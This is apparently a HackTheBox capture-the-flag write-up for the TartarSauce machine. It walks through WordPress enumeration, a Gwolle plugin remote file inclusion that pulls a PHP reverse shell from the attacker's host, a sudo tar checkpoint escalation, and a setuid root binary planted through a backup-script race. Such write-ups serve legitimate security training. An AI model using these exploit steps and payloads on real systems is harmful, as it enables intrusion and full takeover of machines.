
HackTheBox – TartarSauce

S  ummary

• Discovery of wordpress site.
• Enumeration of wordpress site yielded a vulnerable plugin – Gwolle.
• Exploited Gwolle plugin to gain a reverse shell as www-data.
• Www-data could run tar as Onuma via sudo, this was abused to gain access to Onuma's user

account.
• Discovery of a bash script that is run every 5 minutes named backuperer.
• Backuperer created a zipped copy of /var/www/html every 5 minutes with a 30 second sleep

command after executing the zip command, followed by creation of a new direcotry – 
check, which is used to confirm that the contents of the zip file match the contents of 
/var/www/html.

• It was possible to abuse the sleep command by replacing the zipped file in the 30 second 
window, this created the check directory containing a malicious file, in this case I created an 
SUID executable that set uid to that of the root account.
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R  econ

I began by adding 10.10.10.88 to /etc/hosts as tartarsauce.htb.
This was followed up by port scans only revealing a HTTP server on port 80.

Visiting the server hosted on port 80 only reveals some ASCII art of a bottle of tartar sauce...
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/robots.txt reveals a few seemingly interesting directories, however the only one that is available is 
monstra-3.0.4, it also reveals the /webservices directory.

There are known command execution exploits for this version of monstra, however they all require 
authentication which ultimately proved to be a rabbit hole.
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Running dirb against the server netted a very large return, most notably a wordpress directory.

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

OUTPUT_FILE: dirb.txt
START_TIME: Fri Aug 28 08:34:14 2020
URL_BASE: http://tartarsauce.htb/
WORDLIST_FILES: /usr/share/wordlists/dirb/big.txt

-----------------

GENERATED WORDS: 20458

---- Scanning URL: http://tartarsauce.htb/ ----
+ http://tartarsauce.htb/robots.txt (CODE:200|SIZE:208)
+ http://tartarsauce.htb/server-status (CODE:403|SIZE:303)
==> DIRECTORY: http://tartarsauce.htb/webservices/

---- Entering directory: http://tartarsauce.htb/webservices/ ----
==> DIRECTORY: http://tartarsauce.htb/webservices/wp/

---- Entering directory: http://tartarsauce.htb/webservices/wp/ ----
==> DIRECTORY: http://tartarsauce.htb/webservices/wp/wp-admin/
==> DIRECTORY: http://tartarsauce.htb/webservices/wp/wp-content/
==> DIRECTORY: http://tartarsauce.htb/webservices/wp/wp-includes/
<--snip-->

Navigating to /wp doesn't reveal much initially.
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Running wpscan however reveals a lot of potential attack vectors, most notably – Gwolle.

wpscan --url http://tartarsauce.htb/webservices/wp/ -e ap --plugins-detection aggressive --api-token 
<redacted>
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.1
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

<--snip-->
 | [!] 1 vulnerability identified:
 |
 | [!] Title: Gwolle Guestbook <= 2.5.3 - Cross-Site Scripting (XSS)
 |     Fixed in: 2.5.4
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/9109
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-17884
 |      - https://seclists.org/fulldisclosure/2018/Jul/89
 |      - http://www.defensecode.com/advisories/DC-2018-05-
008_WordPress_Gwolle_Guestbook_Plugin_Advisory.pdf
 |      - https://plugins.trac.wordpress.org/changeset/1888023/gwolle-gb
 |
 | Version: 2.3.10 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt
<--snip-->

*note -wpscan output is shortened.

Searching for gwolle via searchsploit returns just one result for an RFI vulnerability.
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FootHold

The vulnerability found through searchsploit explains that it is possible to gain code execution by 
hosting a malicious .php file saved as wp-load.php then visiting the following URL:

http://[host]/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://[hackers_website]

I copied pentest monkeys php-reverse-shell to my working directory, edited the $ip and $port 
variable to match my IP address and chosen port and saved it as wp-load.php.

I set up a listener on port 9001 and hosted a python http server in my working directory, visiting the 
URL mentioned in the exploit grants me a reverse shell as www-data.

Before moving on I setup a proper TTY environment for stability and functionality by using the 
following commands:

python -c 'import pty; pty.spawn(“/bin/bash”)'
CTRL+Z
stty raw -echo
fg
CTRL+C
export TERM=xterm-color
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Privilege Escalation – User: Onuma

www-data can run /bin/tar as onuma via sudo.

It was possible to escalate privileges by abusing this using the following command:

sudo -u onuma tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
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Privilege Escalation - Root

I ran linpeas against the machine to speed up enumeration.

Amongst much more this netted a few backup files, most notably /usr/sbin/backuperer
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Viewing the contents of backuperer it appears to be a bash script.

The script does the following:

• remove all hidden files and the check directory in /var/tmp
• create a zip file in in /var/tmp with the contents of /var/ww/html and saves this as a hidden 

file with a random sha1sum as its name.
• Sleeps for 30 seconds.
• Unzips the files into /var/tmp/check and checks for any differences.
• If the contents are different the check directory stays, if they are the same it will be deleted.
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This can be abused by creating a new zip file containing the directories – var/www/html, in the html
directory we can place an SUID binary or script as root, once the file is zipped this SUID bit will be
preserved across systems. Once the new malicious zip file is on the system we can replace the one 
that was generated by the script with our own, when the contents don't match the check directory 
will still be intact containing our SUID file.

However, in order for this to work the file has to be executed by root, by using locate backuperer we
can discover some systemd files for a backuperer service and timer.

We can use this to see that backuperer will be run every 5 minutes.
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On my local machine I switched to the root account, created var/www/html directories in my 
working directory, I then created the following C program:

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main(void)
{

setuid(0); setgid(0); system("/bin/bash");
}

 and compiled it as a 32bit ELF (as the tartarsauce system is running 32bit), I then gave this file 
SUID permissions.

I then zipped it into a .tar.gz file.
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I downloaded this file onto the tartarsauce machine and saved into /var/tmp.

I ran the following command and waited until the script was about to be run.

watch -n 1 'systemctl list-timers backuperer.timer'

 
Once the script had run I used ls -la to check the name for the generated zip file, I then copied my 
malicious zip file over it.
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Roughly 30 seconds later the check directory had appeared, containng the unzipped contents of my 
zip file.

I could then run the SUID binary to gain a root shell.
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